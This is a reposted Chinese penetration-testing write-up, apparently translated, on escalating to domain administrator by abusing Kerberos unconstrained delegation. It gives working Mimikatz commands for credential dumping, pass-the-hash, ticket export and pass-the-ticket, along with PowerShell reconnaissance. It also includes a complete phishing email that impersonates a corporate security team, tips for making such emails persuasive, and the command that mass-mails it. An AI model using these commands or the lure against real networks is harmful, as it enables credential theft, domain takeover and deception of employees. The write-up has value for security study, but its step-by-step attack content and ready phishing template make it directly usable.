转载

技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

在最近的一次渗透测试中我遇到了一个很奇怪的问题——用常用 方法貌似没办法 找到 域管理员 身份认证的位置。

我先是 通过文件上传功能,获取到了一台服务器的 Administrator 权限 系统权限 运行了 WAMP, 并且通过 这台 机器的域用户 身份 的哈希获得了其他几台服务器,很遗憾,依然不能 找到 到域管理员。

在试过常用的AD和Kerberos相关的攻击后,我们不得不重新思考攻击思路。那么服务端的攻击失败后,我们很自然的就会想到客户端的攻击。

我们可以给客户端发送带附件和链接的邮件, 运气好的话,我们可以得到一个客户端,这个客户端可能保存有域管令牌。 但是 这个 地方 ,钓鱼邮件 回连的 shell无法通过VPN防火墙。 如下图

技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

因此,我们 在已经拿下的服务器上安装几个监听器,这样我们就能处理多个返回的 shell ,或者 就直接把已有的服务当成监听器进行我们的钓鱼攻击。偷个懒,我就直接用第二种了,直接用已有的服务来做。在探测了初始机器后,我发现这台 web 服务器的 Kerberos Unconstrained Delegation 是开着的。

如果一台服务器上的 Kerberos Unconstrained Delegation 是开启的,那就很有可能收集到用户连接服务器的令牌。这里有一篇文章是具体介绍 Kerberos的授权详情 。所以我们需要做的就是创建一封钓鱼邮件,通过这封邮件可以回接到我们已拥有的服务器,接下来就是等域管理员点开这封邮件。

以下是我在实验室下作的测试:

1.  pfptlab-build 是我们已经获取的服务器,有管理员权限,并且可以远程桌面、 PowerShell 远程管理等等。

2.  pfptlab-web 服务器中,我们可以执行管理员命令但是不能直接访问。

技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

寻找有 Unconstrained Delegation 的电脑

通过使用内置的 AD PowerShell 模块。这个模块在 Windows Server 2012 中是默认存在的。通过在已获得管理员权限的服务器( pfptlab-build )上执行以下命令

PS C:/> Add-WindowsFeature RSAT-AD-PowerShell
PS C:/> Import-Module ActiveDirectory
PS C:/> Get-ADComputer –Filter {(TrustedForDelegation –eq $True) –and (PrimaryGroupID –eq 515)}

技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

这样 我们就有了一个 加壳 的命令脚本 Get-Unconstrained.ps1

还可以 通过 PowerView 来找到用了 Unconstrained Delegation 的电脑

技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

设置 监听器

在开启 unconstrained delegation 服务器中 (实验 中的 pfptlab-web 我们可以 Invoke-Mimikatz 枚举 出所有存在的令牌。通过 这台 机器的管理员所扮演的 域用户的 哈希 我们已经拿到 这台服务器 的管理员权限 。注意, 我们得到的令牌可能已经 过期 了,所以我们需要等待 域管连接 这台电脑。

我们 可以用域用户 webadmin 的哈希 该用户同时也是 pfptlab-web 本地管理员

PS C:/> Invoke-Mimikatz -DumpCreds
PS C:/> Invoke-Mimikatz -Command '"sekurlsa::pth /user:webadmin /domain:pfptlab /ntlm:[ntlm hash] /run:powershell.exe"'

以下 命令 的输出:

技术分享:通过Kerberos Unconstrained Delegation获取到域管理员 技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

现在 ,我们可以列出 pfptlab-web 的令牌, 再次 说明,这个服务器中 有开启 Unconstrained Delegation 。我们 可以直接 访问 pfptlab-build 机器 那么 我们  就 直接 通过 以下命令 pfptlab-web 上运行脚本 记住 以下 命令需要在 PowerShell 上运行, 可以 通过 webadmin 用户打开

PS C:/> Invoke-Command -ScriptBlock {cd $env:TEMP} -Session $sess
PS C:/> Invoke-Command -ScriptBlock {Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'} -Session $sess

技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

所以 ,假设我们已经 列举到了 域管 账号, 并且其中一个 就是 ”Administrator” 为了知道域管是否已经连接,我们还需要用到以下的方法

PS C:/> $output = Invoke-Command -ScriptBlock {(ls $env:temp/*.kirbi).name} -Session $sess
PS C:/> $output | sls Administrator

也许 有人可以用 更简单 的方法自动化的完成这些事。如果 域管 令牌被 Mimikatz 保存下来了,那么第二个命令就直接可以列出 pfptlab-web 上的 Admin 令牌

准备 电子邮件

幸运 的是, 内部有 邮件服务器可以 邮件 相互 发送,因此,发送钓鱼邮件就不是难题 。通过 AD 用户名 就能产生 一堆邮箱账号 。针对 不同的用户可能有不同的邮件模板,以下是其中一个邮件:

Hey, 

I am from the Corporate Security Team, we look after security here. We have detected multiple anomalies in the network which could be traced back to your system. It could be a virus or a trojan attack which blocks you from accessing company resources. You are required to immediately perform all of the below steps:

1. Click on Start Menu -> Type cmd.exe

2. In the Window which opens up. type ”reg query HKLM/SOFTWARE/Microsoft/”

3. Copy the contents of above command in a text file.

4. Go to //[name of server with unconstrained delegation]/C$ and copy the file there.

5. If you are unable to access the share, just save the text file with the name Sotware_log.txt on your Desktop and we will pick it up. 

Cheers,

Corporate Security Team

虽然 我们不是钓鱼邮件专家,但是我们可以注意到邮件上的一些点

没有 权威的恐吓 有的只是权衡利弊

使用术语 而不是模糊的语句, 表现的好像我们 真的 是要把这件事情简单的解释给他们听。

要求 用户采取紧急行动。

命令要 显示很多的输出。

让用户 有一个可以选择的方法

然后 ,使用以下命令 邮件 发出去

PS C:/> Send-MailMessage -From "Corporate Security<corporate.security@client.com>" -To $recipients -Subject "Security Anomaly: Action Required" -Body (Get-Content C:/Users/buildadmin/Desktop/email.txt | Out-String) -SmtpServer [IP of internal mail server]

以下 mailbox 中的一封 已发送 的邮件

技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

执行

发送 邮箱后, 我开始 检查域管的令牌,通过 Invoke-Mimikatz 反复 的查看 。很快 的,就有很多域管 按照 邮箱说的做了 呵呵哒:

技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

现在 在我 看来 最好的使用令牌的方法 是把他们复制到 pfptlab-build 服务器,因为 这台服务器我们能直接控制。用 以下 语句把 pfptlab-web 的令牌全部复制到 pfptlab-build 机器 上。

PS C:/> Copy-Item //pfptlab-web/C$/Users/WEBADM~1.PFP/AppData/Local/Temp/*.kirbi C:/tickets

技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

现在 我们可以使用其中一个 Administrator 令牌 提升 我们的权限:

PS C:/> Invoke-Mimikatz -Command '"kerberos::ptt [Ticket]

技术分享:通过Kerberos Unconstrained Delegation获取到域管理员

原文  http://www.freebuf.com/articles/terminal/98530.html
正文到此结束
Loading...